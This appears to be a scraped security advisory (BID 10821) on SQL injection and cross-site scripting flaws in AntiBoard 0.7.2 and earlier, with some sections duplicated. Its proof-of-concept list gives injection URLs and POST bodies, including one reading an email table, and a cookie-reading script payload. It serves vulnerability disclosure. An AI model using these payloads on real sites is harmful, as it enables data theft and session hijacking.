AntiBoard Multiple Input Validation Vulnerabilities
BID:10821
Info
AntiBoard Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 10821 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 28 2004 12:00AM |
| Updated: | Jul 28 2004 12:00AM |
| Credit: | Discovery is credited to Josh Gilmour <[email protected]>. |
| Vulnerable: |
AntiBoard AntiBoard 0.63 AntiBoard AntiBoard 0.62 AntiBoard AntiBoard 0.61 AntiBoard AntiBoard 0.7.2 AntiBoard AntiBoard 0.7.1 AntiBoard AntiBoard 0.7 AntiBoard AntiBoard 0.6 |
| Not Vulnerable: | |
Discussion
AntiBoard Multiple Input Validation Vulnerabilities
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
AntiBoard versions 0.7.2 and prior are affected by these issues.
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
AntiBoard versions 0.7.2 and prior are affected by these issues.
Exploit / POC
AntiBoard Multiple Input Validation Vulnerabilities
No exploit is required.
The following proof of concept examples are available:
/antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=
/antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--
/antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded
/antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1
poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply
POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION
ALL select field from antiboard_emails----&reply=reply
/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>
No exploit is required.
The following proof of concept examples are available:
/antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=
/antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--
/antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded
/antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1
poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply
POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION
ALL select field from antiboard_emails----&reply=reply
/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>
Solution / Fix
AntiBoard Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
AntiBoard Multiple Input Validation Vulnerabilities
References:
References:
- Product Page (AntiBoard)
- AntiBoard <= 0.7.2 XSS/SQL Injection (Josh Gilmour